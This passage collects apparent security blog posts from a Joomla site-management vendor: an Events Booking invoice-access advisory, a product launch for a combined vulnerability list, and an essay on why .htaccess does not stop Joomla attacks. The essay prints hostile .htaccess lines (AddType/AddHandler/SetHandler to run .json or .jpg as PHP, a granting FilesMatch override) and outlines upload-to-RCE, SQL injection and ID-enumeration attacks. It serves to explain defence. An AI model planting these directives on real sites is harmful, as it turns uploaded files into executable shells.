There is one wrinkle worth knowing if you go looking at the files. The 5.8.1 you have is not necessarily the 5.8.1 someone else has. Somewhere between our private report on 20 July and the official 5.8.2 release, JoomDonation backported the same fix into the 5.8.1 package without changing its version number. So for a period the 5.8.1 on the download server was the insecure build we proved the flaw against, and after that the 5.8.1 on the download server carried the fix, both under the one version string. A site reading "5.8.1" in its admin cannot tell you which of the two it installed. Updating to 5.8.2 is what removes the doubt: it is the release where the fix and the version number line up.

Do this now

Update Events Booking to 5.8.2 on every site, including any you already took to 5.8.1.

Run the update through System, Update, Extensions in each site's Joomla admin, and confirm the version under Components, Events Booking afterwards. If you cannot update straight away, turn off the invoice feature in the Events Booking configuration as an interim measure and switch it back on once you are on 5.8.2.

A firewall or .htaccess would not have stopped your invoices being exposed!

A word on firewalls, because it is the first question we get. A web application firewall is worth having, but it would not have saved you here. There was no SQL, no script tag, no malformed payload for it to catch. The attacker was asking for a document the site is designed to serve, at a URL that looked completely ordinary, and simply changing one number. Rules that block injection attempts have nothing to match on. The update is the fix, not the firewall.

An .htaccess file is the other thing people reach for, and it deserves its own mention because so many site owners treat one as a security blanket. It can deny access to a folder or block a file type, which genuinely helps against some attacks, but it had nothing to work with here. The invoice download was an ordinary, permitted request to an ordinary, permitted URL, so there was no forbidden path to deny and no extension to filter. We have written before about why your .htaccess will not stop a Joomla hack, and this is a clean example. The invoice feature was working exactly as built, just answering the wrong person, and a directory rule cannot see that.

Knowing which of your sites need it

The awkward part of a security release is that "we updated Events Booking" is not the same as "every site is on 5.8.2". You need to know precisely which sites run Events Booking, which ones are still below 5.8.2, and get to each of them.

That is the job mySites.guru does. It keeps a live inventory of every extension and version on every Joomla and WordPress site in your account, so you can search for Events Booking once and see every site running it, and the version each is on, in seconds, without opening a single admin panel. We have added this issue to our Joomla vulnerability database, so every connected site below 5.8.2 is flagged automatically, and the mass updater rolls the update out from one screen. You should not have to read about a Joomla security issue and then audit a portfolio of client sites by hand to find out whether it is your problem, still less do it three times for the same extension in one month.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Booking components leak your customers, not just your site

We keep finding this class of bug in the extensions built to talk to strangers, and it is worth being explicit about why booking and registration components carry a heavier consequence than most.

A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public, and take their money, and store both. So the data at risk was never yours in the first place, it was entrusted to you. The same logic runs through the newsletter tools, form builders and document managers where we keep finding the same pattern this month: AcyMailing, Balbooa Forms, EDocman, DPCalendar. They are all built to talk to strangers, so a missing check in one of them talks to strangers too. The recurring shape is an AJAX or front-end endpoint that trusts the browser instead of re-checking on the server.

None of that is an argument for avoiding Events Booking. It is a capable, long-established component, and much of the code we have reviewed is in better shape than most of what we audit, with the payment verification in particular done properly. Capable software still ships ordinary bugs, and an authorisation check that confirms the wrong thing is about as ordinary as they come. The point is not that the extension is bad. It is that the invoices it holds are your legal responsibility, and one inconsistent check handed them out until 5.8.2 closed it.

What to do right now

Update Events Booking to 5.8.2 or later on every affected site. This is the fix, and it is the one action that actually closes the invoice flaw
Update even if you already went to 5.8.1. That earlier release fixed the anonymous upload and user-enumeration flaws and not this one, so 5.8.1 is not far enough
If you cannot update immediately, turn off the invoice feature in the Events Booking configuration as an interim measure, and switch it back on once you are on 5.8.2
Do not rely on a firewall for this one. There was no payload to filter, so there was nothing for it to block
Treat past invoices as potentially read. If a site ran the invoice feature on a public event while on an affected version, assume the invoices could have been collected, and talk to whoever owns data protection where you work
If you manage multiple sites, let mySites.guru show you which ones are still below 5.8.2 rather than checking by hand

Disclosure and Severity

8.7 CVSS 4.0

High Our own assessment; CVE-2026-63047, fixed in 5.8.2

Unauthenticated and exploitable over the internet in a single request with no user interaction. It exposed the full billing details of every invoiced registrant, which is a serious loss of confidentiality, but it was a read-only disclosure with no write or availability impact, which is what keeps it out of the critical range.

No login needed Exploitable over the internet Fixed in 5.8.2 Personal and financial data No firewall mitigation

Our assessment is CVSS 4.0 8.7 (High), vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Reachable over the network (AV:N) with no added complexity or attack requirements (AC:L, AT:N), needing no privileges (PR:N) and no user interaction (UI:N). It causes a high loss of confidentiality on the vulnerable system (VC:H), the full billing details of every invoiced registrant, with no integrity or availability impact (VI:N, VA:N) and nothing carried into a downstream system (SC:N, SI:N, SA:N). The read-only nature is what holds it below the critical range. The Joomla CNA published CVE-2026-63047 for the flaw on 22 July 2026 without a score of its own, so this assessment stands.

Field	Detail
CVE	CVE-2026-63047, assigned via the Joomla CNA on 22 July 2026, crediting Phil Taylor of mySites.guru
Component	Events Booking for Joomla (`com_eventbooking`)
Vendor	JoomDonation / Ossolution (joomdonation.com)
Type	Authorisation bypass through a user-controlled key (CWE-639), an insecure direct object reference; the CVE record files it under the parent class CWE-284
CVSS 4.0	8.7 (High), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (our own assessment)
Impact	Anonymous read of any registrant's invoice, including full name, organisation, postal address, email address and payment amount
Finder	Phil Taylor, mySites.guru
Affected versions	Every release up to and including 5.8.1 with the invoice feature in use
Fixed in	5.8.2

We follow a report-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.

Date	Event
20 July 2026	A mySites.guru subscriber sends over the Events Booking 5.8.1 source. Reviewing it, mySites.guru identifies and confirms a separate authorisation flaw in the invoice download, proven on a clean install with test data only and no live site involved.
20 July 2026	mySites.guru reports the invoice flaw privately to JoomDonation, with all public detail withheld. JoomDonation confirms it the same day.
21 July 2026	JoomDonation ships the fix in Events Booking 5.8.2, adding the missing ownership check to the invoice download. mySites.guru confirms a wrong code now resolves to no invoice, and applies for a CVE via the Joomla CNA.
21 July 2026	mySites.guru publishes this write-up. No proof-of-concept is released.
22 July 2026	The Joomla CNA publishes CVE-2026-63047 for the flaw, crediting Phil Taylor of mySites.guru.

One VEL for Every Joomla and WordPress Site

phil@mysites.guru (Phil Taylor) — Tue, 21 Jul 2026 15:00:00 GMT

If you run Joomla sites, you might have heard of the Joomla VEL (Vulnerable Extension List). It is the community-run (well, gated, not-open, keys held by "mandville" who seems to appear and disappear as fast as buses around Brighton) list of third-party Joomla extensions with known, reported vulnerabilities. If you also run WordPress sites, you know it stops at the Joomla border. For that half of your sites you absolutely must be subscribed to Wordfence or Patchstack for alerts on WordPress plugin security announcements, an entirely separate set of feeds with no connection to the first.

Keeping on top of security announcements and a handful of vulnerable extension lists, across two different CMS platforms, is a near full-time job on its own. And even when you keep up, both lists share a bigger limitation than the effort of watching them, and it is the one that actually costs people. Neither of them knows which sites you run. They tell you that a piece of software is vulnerable somewhere in the world. They cannot tell you that your client's site, the one on the old version of that exact component, is sitting there exposed right now.

We have built the thing that closes that gap. There is a new Latest Vulnerabilities page inside mySites.guru: one Vulnerable Extension List for Joomla and WordPress together, wired directly into the sites you already manage.

To be clear, the tracking itself has been running for over a decade. mySites.guru has recorded extension vulnerabilities and vendor security announcements internally that whole time, and used them to flag the sites affected. What is new is the front end: we have exposed all of it so subscribers can browse it, filter it and click into it themselves. Previously this information sat buried in the Extensions pages inside mySites.guru. Now it has its own tool.

One Vulnerable Extension List for Joomla and WordPress

The Latest Vulnerabilities page is a single, searchable list of the extension vulnerabilities we track across both platforms. Filter it to Joomla, filter it to WordPress, or leave it on All and watch the two streams merge, newest first. Each row carries a severity, the affected extension, a CVE where one has been assigned, and the date it was published.

On the WordPress side, that is tens of thousands of plugin and theme records drawn from the wider vulnerability feeds.[^wordfence] On the Joomla side, it is the extension vulnerabilities we track, including feeds from the National Vulnerability Database (NVD) that auto-alert us when a CVE is announced for a Joomla extension. A large share of them are ones we found and disclosed ourselves through the Joomla CNA: Gridbox, Balbooa Forms, Events Booking, SP Page Builder, EDocman and more. Every rule carries the affected version range, so a match is version-aware, not just a name that happens to look familiar.

The severity rating is the first thing the VEL does not give you. A Joomla extension entry here is Critical, High, Medium or Low, so you can filter straight to the things that will ruin your week and leave the low-risk noise for later.

Which of your sites does this vulnerability affect?

This is the part that changes the job. A vulnerability list is a lookup table until it is connected to your actual sites. mySites.guru already keeps a live inventory of every extension and every version installed on every connected Joomla and WordPress site. The Latest Vulnerabilities page cross-references that inventory against the whole list, automatically.

So a row is not just "this software is vulnerable." A row marked with a shield is "you are running this." Open any entry and the Check your sites button drops you straight into the filtered list of your own affected sites.

That is the whole workflow, collapsed into two clicks. A disclosure lands, you look at the list, and instead of asking "do I have anything running that," you are already looking at the exact sites that do, with a Manage Site button next to each one to update the extension or investigate it. No spreadsheet of installed versions, no checking each site by hand, no wondering whether you have missed one.

It does not stop at the list, either. Open an affected site and the same vulnerability detail is waiting on its Important tab, flagged next to everything else that needs your attention, with the full write-up rather than a bare extension name.

What each entry tells you

Click any row and you get the full picture on one page: the severity, the CVE, the published date, the affected version range, the version it was fixed in, the extension element, and a plain-English description of what the flaw actually is and how bad it gets.

For the ones we found ourselves, that description is written from having reproduced the flaw against a real install, not paraphrased from a one-line changelog. When a vendor ships a fix with three words of explanation, as Balbooa did with the Gridbox authentication bypass, the detail page is where the missing context lives: what the flaw is, whether it needs authentication, and what it hands an attacker.

What the Joomla VEL is, and what it leaves out

The official VEL lives at extensions.joomla.org/vulnerable-extensions/vulnerable/ (the memorable vel.joomla.org address redirects there). It is run by a volunteer team under the Joomla Extensions Directory, and it covers third-party components, modules, plugins and templates. Joomla core is deliberately out of scope, because that is the Joomla Security Strike Team's job. That split is worth noticing: Joomla's own security structure treats core and extensions as two different problems, and puts a dedicated team on each. Third-party code is not a footnote to the risk, it is most of the risk.

The VEL does its job well within its limits (although it has been largely abandoned), and it is honest about those limits. Its own about page carries the line that the list "is compiled from found information and may not be an up to date accurate list." Reports come in manually, by email or a form, and a volunteer team processes them. There is no CVSS score on an entry, just a vulnerability type and a date. And there are only a few hundred entries, because it depends on someone taking the time to report each one.

To see how thin that gets in practice, here is the live list on the day this was written.

This is page one, the most recent entries, and it already reaches back to 2023. Joomla's official list of currently-vulnerable extensions is adding a handful of entries a year, which is nowhere near the pace of a live threat landscape. The three newest, all dated 17 July 2026, are DPCalendar, DJ-Classifieds and Gridbox, and they are on the list because we reported them.

Now open one. This is the VEL's complete entry for DPCalendar, a component with a serious unauthenticated SQL injection that lets an anonymous visitor read the entire site database:

That is the whole page. "dpcalendar, , 3rd party extension, Other." No affected version, so you cannot tell whether your install is one of the vulnerable ones. No CVE. No severity. No description of the flaw, no fixed version, and no advice beyond the category page's blanket "uninstall any listed here." A site owner who lands there has learned the name of a component they almost certainly already knew they had, and nothing else. An entry that is not actionable is not doing the one job a vulnerability list exists to do.

None of that is a criticism of the volunteers who keep the VEL running on their own time. It is a small, manual, best-effort list, it is Joomla-only, and for long stretches it has been close to dormant. If your world is bigger than that, you need something bigger than that.

Why third-party extensions are the real risk surface

It is worth being blunt about where the danger is, because it shapes where you should spend your attention. Patchstack's State of WordPress Security in 2026 report, published in February 2026 and covering the 2025 data, found 11,334 new WordPress vulnerabilities disclosed that year. Ninety-one percent were in plugins, nine percent in themes, and just six were in WordPress core.

Joomla does not publish a headline number like that, but its security structure says the same thing in a different way. Core gets the Joomla Security Strike Team. Extensions get the VEL. The project itself treats third-party code as a separate, large risk surface worth its own dedicated volunteer effort. Keeping core patched is necessary and it is also the easy part. The messy, sprawling risk is the dozens of extensions on each site, each on its own version, each shipped by a different vendor with a different idea of what "security update" means.

That is exactly the surface a portfolio-wide list is built for. One vulnerable component across two hundred sites is not two hundred problems you find one at a time. It is one search.

Why a volunteer list can never keep up

Managing CVE and security information at the pace it now moves is close to a full-time job on its own. Wordfence alone publishes new vulnerability reports at a rate north of two hundred a week. No volunteer effort keeps up with that, and the Joomla ecosystem is chronically short of experienced volunteers, so the VEL has always run behind, and on its current model it always will.

There is talk of a resurgence, and the Joomla project is making some small improvements to how vulnerable extensions are handled (this pull request is a start, and it is good to see). But small tweaks to a volunteer-run list do not change the arithmetic. They cannot make it reactive, and they cannot connect it to your sites.

We can say that plainly because we are at the coal face. mySites.guru is in daily contact with the best part of a hundred thousand Joomla and WordPress sites, we take in reports from those sites every day, and a large share of the recent Joomla entries on the official VEL are ours. That is a different vantage point entirely from a list that updates whenever a report happens to arrive. When you are looking after five hundred Joomla sites, the useful question is never whether an extension is vulnerable in the abstract. It is which of your five hundred are running it, and on what version. That is what mySites.guru was built to answer.

How is the mySites.guru list different from the official Joomla VEL?

Four ways, and none of them are about replacing it.

First, coverage: the VEL is Joomla-only, this covers Joomla and WordPress in one list.

Second, detail: every entry carries a severity and, where one exists, a CVE, rather than a bare vulnerability-type label.

Third, and this is the one that matters, it is connected to your sites. The VEL tells you a piece of software is vulnerable. mySites.guru tells you that three of your clients are running it, and takes you to them.

Fourth, it is active. It is maintained by mySites.guru and can be added to within seconds of us discovering something new, with no wait on a volunteer team to receive and process a report. When we confirm a flaw, every connected site is being checked against it almost immediately.

The official VEL is still worth reading, and we still contribute the flaws we find back into the wider ecosystem. If you manage a handful of Joomla sites and nothing else, it may be all you need. The moment you are managing more sites than you can hold in your head, or any WordPress alongside your Joomla, a static list you have to cross-reference by hand stops scaling. That is the point this was built for.

Why is this behind a paywall?

mySites.guru has never been a free service. It is a subscription product, and this is a feature inside it, built for the paying subscribers who get value from it. It is not a community resource for the Joomla project and was never offered as one. The vulnerability list sits alongside the extension inventory, the updates, the backups and the audits, and it comes with the subscription the same way everything else does. If you want our data, out of our database, you subscribe.

The raw ingredients are free if that is what you are after. Every CVE we list is published by the NVD and anyone can read it. Wordfence publish their WordPress vulnerability database. The Joomla VEL is public, for as long as anyone is still updating it. Nobody is stopping you watching all of those yourself.

What the subscription pays for is the work wrapped around that data: collating it, researching it, investigating the flaws ourselves, and then cross-matching the whole lot against the extensions actually installed on the sites actually in your account. That means you are not sitting across four vulnerability databases hoping you catch it when somebody drops a zero-day at three in the morning. It arrives in one place, already matched to your sites.

That is where the value is for anyone running sites in volume. When something new hits SP Page Builder, one click tells you which of your sites run it and on what version. For a digital agency looking after five hundred sites, some of them a decade old and inherited from somebody else, having that answer in seconds instead of an afternoon is the entire point. At £19.99 a month for unlimited sites, it works out at pennies per site to never cross-reference a vulnerability by hand again.

How do I see my affected sites right now?

If you already have sites connected to mySites.guru, open the Latest Vulnerabilities page from the sidebar, or hit Check your sites on any entry. Anything you are running that is vulnerable is flagged, and the Vulnerable Plugins filter on your sites list has been doing the site-by-site version of this for a while.

If you are not connected yet, that is the first step. Add your sites and mySites.guru builds the inventory of every extension and version across all of them, then keeps it cross-referenced against the vulnerability list from then on. The next time a disclosure lands, whether it is Joomla or WordPress, you will not be asking whether it affects you. You will already be looking at the list of sites that need updating.

Your .htaccess Won't Stop a Joomla Hack

phil@mysites.guru (Phil Taylor) — Tue, 21 Jul 2026 14:00:00 GMT

A provocative, click-bait claim? Yes. Also true: your .htaccess file does almost nothing for your Joomla site's security.

That will annoy a lot of people, because hardening the .htaccess is the first thing most site owners and half the "secure your Joomla" guides reach for. It feels like locking a door. In practice it is closer to padlocking your fridge and fitting a deadbolt to your toilet door, then calling it home security. The burglar cannot drink your beer and he cannot use your toilet. He is still standing in your kitchen, and he was never especially interested in either. The lock is real. The reassurance is real. The security is mostly theatre.

A lot of people will not read this entire post, for sure, and will be angered at the very notion that I have written it, and will attempt to discredit parts of it. That does not change the hard truths it tells.

Let me be precise about what I am and am not saying. I am not saying a .htaccess is useless, or that you should throw it away. It is genuinely good at a short list of jobs. I am saying that the thing most people believe it does, stand between an attacker and a vulnerability, is not the thing it actually does, and that believing otherwise is how sites get owned while their owners feel protected. I will show you why using Joomla's own documentation and Joomla's own code as the evidence, and then tell you what actually keeps a site standing.

Joomla is about to bet harder on the .htaccess

The reason to say all this now is that Joomla is moving in exactly the opposite direction. A genuine, ongoing surge in third-party Joomla extension exploits has the community rattled and looking for an answer, and one answer is gathering real support: ship a stricter .htaccess by default so that a fresh Joomla install is locked down out of the box.

There are two threads to this. The first is already on the table as Brian Teeman's open pull request #48076, targeting a future Joomla 6.2. It adds a directory-scoped allow-list to htaccess.txt for the images, media and files folders: a defined set of safe extensions is permitted, and everything else in those three directories is refused with a 403.

RewriteRule ^(?:images|media|files)/ - [F,L]

The allow-list in front of that deny rule runs to 7z|avif|bmp|css|csv|doc|docx|eot|gif|gz|htm|html|ico|jpg|js|json|mp3|mp4|pdf|png|svg|txt|webp|woff|woff2|xls|xlsx|xml|zip and a handful more. It is a sensible, tightly-scoped idea aimed squarely at the folders attackers love to drop shells into, and on its own, as one narrow layer, I have no quarrel with it. The danger is not that narrow rule. It is treating a few whitelisted folders as if they were a security perimeter. The second thread is the one to watch: a Security Strike Team discussion has moved further, toward a default .htaccess that restricts which entry points are allowed to run at all, front-controller style, by default. David Jardin, a member of the Joomla Security Strike Team, offered to prepare that pull request.

The instinct is right. Something does need to change, and the people involved are competent and responding to a genuine problem. But restricting entry points in the .htaccess defends at the wrong layer, and the community's own discussion surfaced exactly why, in several ways worth pulling apart one at a time.

It breaks legitimate tools

When the entry-point restriction was debated, the counter-examples came from the most respected corners of the ecosystem: Akeeba's kickstart.php and its backup-restore script are designed to run as standalone PHP outside the Joomla application, and Joomla's own updater has index.php hand off directly to the updater's extract.php under the right conditions. (And yes, recent Joomla versions can now route the core auto-update through index.php itself; that does not change the fact that for well over a decade the upgrade required direct access to com_joomlaupdate's own extract and finalise scripts, and plenty of installs still lean on exactly that path.) A blanket "only approved entry points may run" rule risks breaking the exact tools people reach for when a site is already on fire.

And it reaches well beyond recovery tools. A great deal of ordinary e-commerce depends on an external service posting directly to a script on your site: PayPal IPN callbacks, WorldPay and other payment-gateway notifications, webhook receivers, shipping and CRM integrations, every one of them a server-to-server request that arrives with no browser, no session, and often no trip through index.php at all. Block the endpoint the gateway was told to call and the notification is simply lost, so the customer is charged, the order never completes, and nobody notices until the refunds and chargebacks start.

You can rewrite all of it, of course. Every one of those endpoints could be re-plumbed to enter through Joomla's approved index.php and satisfy the whitelist. But there is a decade of working scripts already in production that a single line added to a default .htaccess would break the instant it shipped, silently, with no migration path and no warning. And the rewrite is not free even when you do it. Routing a lean, standalone callback through index.php means booting the entire Joomla stack to serve it: loading the framework, firing every system plugin, running all the bootstrap code a full page view runs, just to record one payment notification that a small standalone script currently handles in a fraction of the CPU and memory. You would be trading a fast, isolated request for a slow, heavy one on every callback, and calling the result more secure.

It only works on Apache

As Teeman himself noted of the Windows equivalent on that very pull request, "As the web.config already has weaker settings than htaccess I would suggest that is considered in its own pr" - an open admission that the non-Apache half of Joomla's own shipped hardening is weaker and, in his words, that he cannot test it. Every Joomla site on IIS, and every site fronted by Nginx or Cloudflare, gets a different and lesser version of this protection, or none of it. A default lock that works one way if your house was built by Apache, a weaker way if it was built by IIS, and not at all if it was built by Nginx or Caddy, is not a default. It is a coin toss decided by a hosting choice your site owner made years ago for unrelated reasons.

And there is no parity across the web servers Joomla claims to support. The project hardens the Apache .htaccess while, by its own admission, the web.config it ships for IIS carries weaker settings, and Nginx, Caddy and every other web server get nothing at all. Nor is there a word of guidance on the layer that now fronts a huge share of Joomla sites: how to correctly configure Cloudflare, which by itself sits in front of more than a fifth of the entire web, is left completely unaddressed, even though the edge is exactly where this kind of hardening actually belongs. A single release can therefore lock down the wrong things on Apache and, by pouring all its attention there, leave every non-Apache site with a wider relative attack surface and no equivalent protection. Hardening one server family while neglecting the rest is not defence in depth. It is defence in one place.

It fixes nothing behind the doors that stay open

A default rule that blocks some entry points does absolutely nothing about the vulnerable code sitting behind the entry points that have to remain open. Joomla's own com_ajax is the clearest example: a general-purpose dispatcher, reached through index.php by design, that any plugin or module can hook into, and one no entry-point whitelist can ever close because a large part of the front end depends on it. Several of the vulnerabilities we have disclosed rode straight through it: an unauthenticated file write in JoomShaper's Helix3 and an unauthenticated menu write that became stored XSS in Helix Ultimate were both reachable through com_ajax with no token and no permission check at all. The whitelist has to leave that door open, so it does nothing for any of them. And nearly every exploit in the current surge arrives through the one entry point that can never be closed: index.php.

It gives novice users no safe way to change it

Even where the shipped rule is right, the people it reaches cannot safely adapt it, and that matters the moment their site needs it to behave even slightly differently. Editing a .htaccess is not for the faint-hearted: it is regular-expression wizardry that even seasoned web developers get wrong, and a single mistaken character does not degrade gracefully, it returns a 500 Internal Server Error for the entire site. Akeeba's Admin Tools Professional solved exactly this years ago with its .htaccess Maker, a checkbox interface that lets a non-expert choose behaviours instead of hand-writing PCRE. There is no proposal to give the core Joomla administrator anything like it. So a site owner who needs to allow one legitimate extension, or unblock one path the default refused, is handed a file of raw regex and left to edit it by hand, which is precisely how these files end up either breaking the site or being deleted wholesale in frustration.

A hardened .htaccess protects less than you think

Here is the uncomfortable mechanic that the whole argument rests on. Almost every serious Joomla vulnerability of the last few years, SQL injection, unauthenticated file upload leading to remote code execution, arbitrary file read, arbitrary file deletion, is exploited through a normal, approved request to index.php. Put bluntly: many of the recent Joomla vulnerabilities walk straight in through that whitelisted front door, the one door every hardening scheme is forced to leave open. It is the main Joomla entry point, the front controller that every legitimate page view already flows through. Your .htaccess exists precisely to route requests to index.php. Its central job, the SEF URL rewriting that makes /about-us resolve to index.php?option=com_content&view=article&id=42, is to make sure requests reach that front controller. It cannot then protect you from an attack that arrives as a perfectly ordinary request to the one endpoint it is built to feed.

Think about what a .htaccess can actually see and act on. It works at the level of the request line and headers: the path, the query string, the method, the user-agent, the referrer. It has no idea what the PHP behind that request is going to do with those values. A gallery component, a forms extension, a page builder, any of them can carry a flaw that an attacker triggers with a request that is, at the HTTP level, indistinguishable from legitimate traffic. The rewrite rules wave it through, because at the layer where .htaccess operates there is nothing wrong with it. The vulnerable PHP runs. No .htaccess rule was ever going to sit in the way, because the request never looked wrong at the only layer .htaccess can inspect.

Technical detail: what a .htaccess can and cannot see

Joomla's SEF rewriting is the block that ends with RewriteRule (.*) index.php [L]. Every pretty URL, say /blog/my-article, is rewritten to index.php?option=com_content&view=article&id=42 and handed to Joomla's front controller. The .htaccess operates entirely on the request line and headers: the method, the path, the query string, the user-agent, the referrer. It never sees, and by design cannot see, which component the router will dispatch to, which task will run, whether the code casts id to an integer before it hits the database, or whether the extension calls authorise() before it writes a file.

By the time any of those decisions are made, the request is already several stack frames deep inside PHP, well past the layer the .htaccess controls. Trying to filter the attack at the .htaccess means guessing, from the request line alone, what the PHP a dozen frames later is going to do wrong. You cannot pattern-match your way to that from the outside.

This is not theoretical, and it is not rare. It is the same pattern behind attacks that ride in through the CMS's own AJAX and API endpoints, where a component verifies a CSRF token but never checks who is calling or whether they are allowed to. It is why a single POST to an approved SP Page Builder endpoint could drop a live web shell, returning a clean 200, immediately followed by a request to the planted PHP file. The perimeter was never breached. Nothing was forced. The attacker used the door, held open by design, that your .htaccess exists to keep open.

How do Joomla attacks get past your .htaccess?

They do not get past it. They go through it, using the exact route it is built to permit. It is worth walking through the two most common Joomla compromise patterns in detail, because once you see the mechanics you stop believing a rewrite rule could have helped.

Unauthenticated file upload to remote code execution. A front-end task in a vulnerable extension accepts a file it should have rejected, or writes it to a folder it should never have written to. The request is something like index.php?option=com_vulnerable&task=upload, a POST with a multipart body. To your .htaccess this is a request to index.php with a query string and a file attached, which is exactly what a legitimate contact-form submission or media upload looks like. It passes it on without hesitation. The extension then writes an attacker-controlled .php file into a web-served directory, and the attacker requests it. Now they have code execution on your server. We have documented this precise class over and over: the JCE profile-upload attack that walked in through a legitimate editor endpoint, and fully unauthenticated remote code execution straight through the com_ajax endpoint in the Novarain Framework, where six weeks after the patch nearly half the affected sites in our data were still exposed. In none of these did a .htaccess rule have any part to play, because the malicious request was, byte for byte at the HTTP layer, an ordinary one.

SQL injection. A parameter that should be an integer, an article ID, a category filter, a sort order, is concatenated raw into a database query instead of being bound or cast. The attacker sends their payload as a value on a normal page URL: index.php?option=com_something&id=1 UNION SELECT .... There is no .htaccess rule on earth that can reliably tell a malicious id value from a legitimate one, because both are just text in the query string of a request to index.php. You could try to blocklist SQL keywords, and people do, and it is the same losing game we will come to below: attackers encode, comment-split, and case-vary their way around any keyword list you invent, while your rule starts throwing 403s at legitimate searches that happen to contain the word "select" or "union" or an apostrophe.

Unauthenticated data exposure through a broken access check. Not every compromise ends in code execution. Some just hand over data that should have stayed private, and a .htaccess is even more useless against these because there is not even a stray file to block. We recently found an invoice download in Events Booking that returned any registrant's invoice to an anonymous visitor: full name, postal address, email and the amount they paid, chosen by a sequential ID number in the URL. The request is an ordinary GET to index.php, indistinguishable at the HTTP layer from a genuine attendee fetching their own receipt. Your .htaccess looks at it, sees a normal request to index.php, the one file it is built to whitelist so Joomla can run at all, and waves it straight through. There is no upload to inspect, no .php file to deny, no SQL keyword to match, nothing for a rule to grab hold of. An attacker just counts the ID up from one and collects every invoice on the site. A hardened .htaccess would not have stopped a single one of those downloads, because the whole attack rode in through the exact front door the file exists to hold open.

When we went back over a full month of Joomla security disclosures, nearly every one shared a single root cause: a public endpoint that trusts anonymous input. A firewall or a hardened .htaccess can, at the very best, stop an already-uploaded PHP file from executing in an uploads folder, which is worth having as one layer. Neither one fixes the underlying bug, and neither one stops the request that triggers it. The vulnerability is in the code the request reaches, not in the route it took to get there.

What if an attacker can delete or overwrite your Joomla .htaccess?

Now it gets worse, because a .htaccess is not a wall. It is a file. Files can be deleted. Files can be overwritten. And plenty of vulnerabilities let an attacker do exactly one of those things.

An arbitrary-file-deletion bug removes your .htaccess in the time it takes to send one request, and takes every protective rule in it with it - like the one I recently reported, responsibly, in Joomla core's own updater, and which the project fixed. Go figure: the same project now proposing to lean harder on the .htaccess had a flaw that could have deleted that very file. (More on that shortly.) From that moment the folder it was guarding is wide open, and the deletion may not even be noticed for weeks. An upload-anywhere bug is arguably worse, because the attacker does not need to delete anything: they write a new .htaccess of their own, straight over the top of yours. That replacement can do anything Apache allows. It can re-enable PHP execution in your uploads directory with a single AddHandler or php_flag engine on line, turning a folder of harmless images into a place their shell will run. It can add a RewriteRule that cloaks your site, showing Googlebot spam and showing you a clean page. It can 301-redirect every visitor to a phishing or malware network while your homepage still looks fine to you. The file you trusted to protect the folder becomes the mechanism that betrays it.

Technical detail: how a planted .htaccess turns images into code

An attacker who can write a .htaccess into a folder does not need to touch your server's PHP handler configuration at all. One line does it: AddType application/x-httpd-php .jpg, or AddHandler application/x-httpd-php .gif, or SetHandler application/x-httpd-php, or on some stacks php_flag engine on. Any one of those tells Apache to run every matching file in that directory through the PHP interpreter, so the holiday.jpg they uploaded through your vulnerable contact form is now live, executable code.

This is exactly why the one genuinely useful hardening rule for an uploads folder is a .htaccess that denies PHP execution there, and exactly why an upload-anywhere bug that lets the attacker overwrite that rule with their own is the whole game. The defence and the weapon are the same file, and the attacker only needs to win the race for it once.

This is not hypothetical. Take the SP Page Builder zero-day, an unauthenticated file upload that lets a guest write files into a Joomla site. On a site that has done the "recommended" hardening, direct execution of .php is denied, so a plain shell.php upload would only ever return a 403. The attacker knows this, so they do not upload .php at all. They write their payload as a .json file, which slips past both the filename filter and the .php deny rule, and they drop a .htaccess beside it that teaches Apache to run every .json file in that folder through the PHP interpreter:

AddType application/x-httpd-php .json
AddHandler application/x-httpd-php .json
<FilesMatch "\.json$">
    SetHandler application/x-httpd-php
</FilesMatch>

Now payload.json is not data any more, it is executable code, and it runs on the very next request. The carefully written rule that denied .php was never in the fight, because the attacker simply chose an extension it never named. .json looks like configuration, like a language file, like something no security guide ever thought to block, and that is precisely why it was picked. You guarded one door; they walked through the one beside it and relabelled it on the way in.

There is a subtler and more damning version of this, and it needs no upload-anywhere bug and no deletion primitive at all. Your protective rule and the attacker's .htaccess use the exact same mechanism, and Apache always hands the win to whichever one sits deeper in the tree. Apache assembles the .htaccess rules for a request by walking from your document root down to the folder holding the file, applying each in turn, so the most specific, deepest file has the final word. Your "no PHP in /images/" rule lives in the root, one or more levels up. The attacker is writing into /images/, the very folder your vulnerable form let them reach. They drop a one-line .htaccess beside their uploaded file that re-enables execution, and because their file is deeper than yours, it overrides yours for that folder. Your root rule is never touched. It is simply out-nested. Put a lock on the fridge and I will drill through the back of it, take a beer, and fit my own lock to the hole I made. Yours is still there. Still shiny, still locked, still on the front of a fridge I am no longer using the front of.

The symmetry is the whole trap. The AllowOverride setting that lets your .htaccess deny PHP in that folder is the identical setting that lets their .htaccess allow it straight back. It is one switch, set in the server config for the entire tree, and you cannot have it on for your deny rule and off for their allow rule. The only version of this block a dropped .htaccess cannot reverse is one written at the server layer: php_admin_flag engine off in a <Directory> block, which .htaccess is expressly forbidden from countermanding, or AllowOverride None on that path so the attacker's file is never read at all. Which is to say, once again, that the only real protection lives at the layer the root-.htaccess hardening guide, and the shared-hosting user pasting it in, cannot reach.

Technical detail: the deepest .htaccess wins

When several .htaccess files apply to one request, Apache does not pick one, it merges them from the document root down to the requested file's directory and applies the deepest one last. A root rule such as <FilesMatch "\.php$"> Require all denied </FilesMatch> guarding /images/ is therefore overridden by a <FilesMatch "\.php$"> Require all granted </FilesMatch> an attacker drops inside /images/, because Apache's default AuthMerging Off uses only the closest context's authorization directives, and the attacker's context is closer. The same holds for php_flag engine on under mod_php, or an AddHandler application/x-httpd-php .php / SetHandler line that re-routes execution: the deeper file has the final say.

This block can only be made irreversible where a .htaccess cannot reach or override it: php_admin_flag engine off (forbidden in .htaccess, honoured only from httpd.conf or a vhost), or the deny placed in a server-config <Directory> block with AllowOverride None on that path, so no .htaccess in the folder is read at all. Both are server-layer controls. An attacker standing in your uploads folder is always deeper in the tree than your root rule, and when Apache decides a contest by depth, the one writing into the leaf folder wins by default.

I know this class of bug intimately, because I have reported it in Joomla core itself.

CVE-2026-23898 - reported by Phil Taylor

